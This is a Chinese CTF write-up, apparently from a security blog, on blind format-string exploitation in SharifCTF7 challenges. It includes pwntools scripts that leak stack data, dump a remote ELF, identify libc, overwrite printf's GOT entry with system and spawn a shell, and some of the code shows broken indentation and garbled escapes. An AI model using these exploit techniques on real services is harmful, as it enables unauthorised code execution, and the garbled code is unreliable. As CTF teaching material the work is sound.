热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】格式化字符串漏洞利用小结(二)

作者:tianyi201612稿费:300RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿传送门【技术分享】格式化字符串漏洞利用小结(一)【CTF攻略】格式化字符串blind

作者:tianyi201612

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程

1、无binary的格式化字符串漏洞利用

无binary的格式化字符串漏洞赛题一般都只给一个远程地址,根据这篇文章(http://bobao.360.cn/ctf/detail/189.html )可知,这种题目叫“blind pwn”(那这里就是“blind formatstring”了),有点sql注入里面盲注的意思,挺好玩的。

这里选用sharifCTF7来举例,因为这个CTF的服务端至今还开放着,并且提供了三道从易到难的无binary格式化字符串漏洞利用题目,有兴趣的可以尝试一下。这三道题目也将格式化字符串漏洞利用的两种主要方式体现了出来,即“读取数据以泄漏信息”和“写入数据以获取控制权”。


2、sharifCTF7-Guess(pwn 50)


nc ctf.sharif.edu 54517

这题是将flag直接放置在栈中,用户可以输入format字符串并返回相应信息。通过构造类似“%x*n”这样的输入即可获得栈中的n字节信息,从而将隐藏在栈中的flag直接拿到。

通过输入%1$p可知目标系统是64位,然后使用%k$lx并一直增加k值。当k=136时,输出5443666972616853,hex转码后即为“TCfirahS”,说明马上就到flag了,继续增加k,结果如下。

136 5443666972616853 TCfirahS
137 3832346435617b46 824d5a{F
138 6237636363323336 b7ccc236
139 6136633735336466 a6c753df
140 3561383761383231 5a87a821
141 00007ff6007d6338 }c8
Flag:SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}

3、sharifCTF7-NoMoreBlind(pwn 200)


nc ctf.sharif.edu 54514

这题可以无限次输入字符串,每次均可得到反馈。通过输入“%3$p%4$p”进行测试,我们可以确定目标系统是32bit的,且偏移为4。本题的flag不在栈上,需要通过getshell来寻找,主要思路如下:

通过格式化字符串漏洞,利用%s将目标ELF文件dump出来;

分析并修复返回的ELF文件;

通过逆向ELF文件,了解程序的基本流程以及所用libc函数的GOT以获得system函数的实际地址;

将system函数地址写入printf函数的GOT表项处;

通过输入“/bin/sh”,利用已被改为system地址的printf来获得shell。

3.1 利用格式化字符串漏洞dump出ELF

先给出代码吧,此代码修改自其他人的,特此说明。

from pwn import *
def leakELF(addr):
    p = None
  for i in range(5): #多循环几次,放置连接中断
      try:
        p = remote("ctf.sharif.edu", 54518, timeout=1)
      payload = "ABCD%7$sDCBA" + p32(addr)
      if ("x0a" in payload) or ("x00" in payload):
          log.warning("newline in payload!")
        return "xff"
      p.sendline(payload)
      print p.recvline()
      data2 = p.recvline()
      log.info(hexdump(data2))
      if data2:
          fr = data2.find("ABCD") + 4
        to = data2.find("DCBA")
        res = data2[fr:to]  #定位出泄漏的数据位置
        if res == "":    #说明要泄漏的数据就是x00
            return "x00"
        else:
          return res
      return "xff"  #如果出现异常,先返回xff
    except KeyboardInterrupt:
      raise
    except EOFError:
      log.debug("got EOF for leaking addr 0x{:x}".format(addr))
      pass
    except Exception:
      log.warning("got exception...", exc_info = sys.exc_info())
    finally:
        if p:
          p.close()
    return "xff"
f = open("nomoreblind-binary", "wb")
base = 0x08048000
leaked = ""
while len(leaked) < 8000:          #假设目标ELF小于8kb
    address = base + len(leaked)  #新的泄露地址等于基地址加上已泄漏的长度
  tmp = leakELF(address)
  leaked += tmp
  log.info(hexdump(leaked))
  with open("nomoreblind-binary", "wb") as f: #将已泄漏的数据写入文件
      f.write(leaked)

https://img.php1.cn/3cd4a/1eebe/cd5/8ad8f3bf8da691df.webp

由于是32bit程序,一般起始于0x08048000,故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s,payload是"ABCD%7$sDCBA"+p32(addr),ABCD和DCBA是为了定位返回的数据位置,而我们要泄漏信息的地址(即p32(addr))位于偏移位置7。我们这里假设目标elf大小是8kb,其实没有那么大,视情终止即可。在上面的代码中,我们通过自定义的leakELF函数,每次泄漏一段数据,并记录数据长度,以便下次从该长度之后继续泄漏。代码中还需要解释的几点是:

leakELF中的for循环是为了防止连接服务器出错,毕竟要泄漏的数据量较大;

如果payload中出现0x0a,则会造成截断(接收函数是fgets),直接返回none;

如果返回的ABCD与DCBA之间没数据,则设置返回数据为x00;

如果直接出现异常或无返回,则设置返回数据为xff。

整个泄漏的时间会比较长,慢慢等吧,大概到4kb左右的时候,其实就已经完成了,因为出现了新的ELF头(x7f454c46)。这个其实没有特别的标志,只能说毕竟是比赛,binary不会太大,感觉差不多,拿出来分析一下就知道了。

3.2 修复ELF文件

由于我们在dump脚本中填补了一些xff,故需要大概修补一下,比如文件的第一个字节,就要从xff改为x7f。通过010Editor的ELF文件模板,我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题,这里就不多说了,大家可以参考其他文章,主要把文件头修改好就差不多了。当然,修改了之后也是不能运行的,毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。

https://img.php1.cn/3cd4a/1eebe/cd5/45a090220e38e09d.webp

3.3 逆向ELF文件

上面的ELF文件已经可以借助IDA进行逆向了,F5后得到的伪代码如下。

http://p8.qhimg.com/t0127486ed1fc2fdf44.png

上面就是main函数,虽然并没有把所有库函数名称都关联出来,但主程序毕竟很短,很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出,然后设置alarm函数参数为60秒;进入while无限循环后,用fgets来接收输入,并用printf进行输出。

结合汇编代码以及ELF中的函数名字符串(fflush、exit、printf、fgets、strlen、alarm、setvbuf),我们就能将它们对应起来,比如:

setvbuf:plt是0x08048490,got是0x08049980(在IDA中跳到sub_08048490即知);

alarm:plt是0x08048440,got是0x0804996c;

printf:plt是0x08048400,got是0x0804995c。

3.4 获取libc函数地址

本题既没有提供程序的binary,更没有提供对应的libc文件。在这种情况下,我知道的方法有两种:

采用DynELF暴力搜索

利用libcdatabase或libdb查询

我参考的writeup作者就是用的第一种方法,但我始终没成功,即使和作者沟通后得到了他的脚本也不行,感觉是网络连接不稳定;而第二种方法更是没有达到目的,应该是由于内置的libc库文件不全导致的。

考虑到第一种方法中,pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本,那是不是可以干脆将pwntools所依赖的所有libc库文件都下载下来,然后再借鉴第二种方法,将这些库文件导入到libcdatabase中,利用该工具已有的功能,通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢?

按照这个思路,我首先写了个脚本,根据pwntools中的md5文档(https://gitlab.com/libcdb/libcdb/tree/master/hashes)将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中,共6000多个。当然,pwntools中的libc库也是动态更新的,未来还会添加新的libc文件,大家可以继续搜索并扩充至自己本地。

然后,我使用libcdatabase内置的add功能脚本,将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件,故时间比较长,但一劳永逸,以后就可以直接用find功能脚本来快速查找比对了。当然,如果有哪些libc文件没有导入进去,我们也可以直接用pwntools的ELF模块来解析并比对后12bit。

通过以上工作,结合泄漏出来的printf函数实际地址的后12bit(即0xc70),我们可以匹配到很多libc文件,如下图所示,如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so;再用alarm等其他库函数的后12bit进一步校正,即可获知最终版本,从而获取到相应偏移,具体见下面的代码。

https://img8.php1.cn/3cdc5/1e789/9f3/02f8a48f8d97c159.png

3.5 获取shell

得到了libc版本,我们就可以确定各个库函数的偏移,从而可以得到system函数地址,并借助格式化字符串漏洞用其替换掉目标程序GOT表中的printf地址。当目标程序进入下一次循环后,我们用“/bin/sh”作为输入,由于此时printf的GOT地址处其实保存的是system函数地址,则调用printf(“/bin/sh”)时,其实就是调用的system(“/bin/sh”),shell也就获取到了。

通过《格式化字符串漏洞利用小结(一)》,我们比较深入的理解了格式化字符串漏洞的原理与手工构造payload的方法。这时,也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用,不用再自己一点一点小心地构造payload,而交给pwntools来自动完成。

具体使用的就是如下函数。

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移,这里已经知道是4;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload,具体结果你可以print出来看看,和你自己手工构造的一不一样。

以下就是具体的利用代码。

from pwn import *
import binascii
p = remote("ctf.sharif.edu", 54518, timeout=1)
printfGOT = 0x0804995c
printfOffset = 0x4cc70
systemOffset = 0x3e3e0
p.sendline("%5$s" + p32(printfGOT))
print p.recvline()
data = p.recv()
printfAddress = data[0:4][::-1]
printfAddress = int(binascii.hexlify(printfAddress),16)
systemAddress = printfAddress - printfOffset + systemOffset
print "printf:", hex(printfAddress)
print "system:", hex(systemAddress)
payload = fmtstr_payload(4, {printfGOT: systemAddress})
p.sendline(payload)
print p.recvline()
print p.recv()
p.sendline("/bin/sh")
print p.recvline()
p.interactive()


4、参考文章


http://bobao.360.cn/ctf/detail/189.html

https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/

https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7


5、附件


https://pan.baidu.com/s/1kV5aqsn

传送门


【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程


推荐阅读
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • 本文介绍了P1651题目的描述和要求,以及计算能搭建的塔的最大高度的方法。通过动态规划和状压技术,将问题转化为求解差值的问题,并定义了相应的状态。最终得出了计算最大高度的解法。 ... [详细]
  • 开发笔记:实验7的文件读写操作
    本文介绍了使用C++的ofstream和ifstream类进行文件读写操作的方法,包括创建文件、写入文件和读取文件的过程。同时还介绍了如何判断文件是否成功打开和关闭文件的方法。通过本文的学习,读者可以了解如何在C++中进行文件读写操作。 ... [详细]
  • Day2列表、字典、集合操作详解
    本文详细介绍了列表、字典、集合的操作方法,包括定义列表、访问列表元素、字符串操作、字典操作、集合操作、文件操作、字符编码与转码等内容。内容详实,适合初学者参考。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • Windows7 64位系统安装PLSQL Developer的步骤和注意事项
    本文介绍了在Windows7 64位系统上安装PLSQL Developer的步骤和注意事项。首先下载并安装PLSQL Developer,注意不要安装在默认目录下。然后下载Windows 32位的oracle instant client,并解压到指定路径。最后,按照自己的喜好对解压后的文件进行命名和压缩。 ... [详细]
  • 本文介绍了Python对Excel文件的读取方法,包括模块的安装和使用。通过安装xlrd、xlwt、xlutils、pyExcelerator等模块,可以实现对Excel文件的读取和处理。具体的读取方法包括打开excel文件、抓取所有sheet的名称、定位到指定的表单等。本文提供了两种定位表单的方式,并给出了相应的代码示例。 ... [详细]
  • 本文详细介绍了在ASP.NET中获取插入记录的ID的几种方法,包括使用SCOPE_IDENTITY()和IDENT_CURRENT()函数,以及通过ExecuteReader方法执行SQL语句获取ID的步骤。同时,还提供了使用这些方法的示例代码和注意事项。对于需要获取表中最后一个插入操作所产生的ID或马上使用刚插入的新记录ID的开发者来说,本文提供了一些有用的技巧和建议。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 本文介绍了iOS数据库Sqlite的SQL语句分类和常见约束关键字。SQL语句分为DDL、DML和DQL三种类型,其中DDL语句用于定义、删除和修改数据表,关键字包括create、drop和alter。常见约束关键字包括if not exists、if exists、primary key、autoincrement、not null和default。此外,还介绍了常见的数据库数据类型,包括integer、text和real。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
author-avatar
手机用户2502880645
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有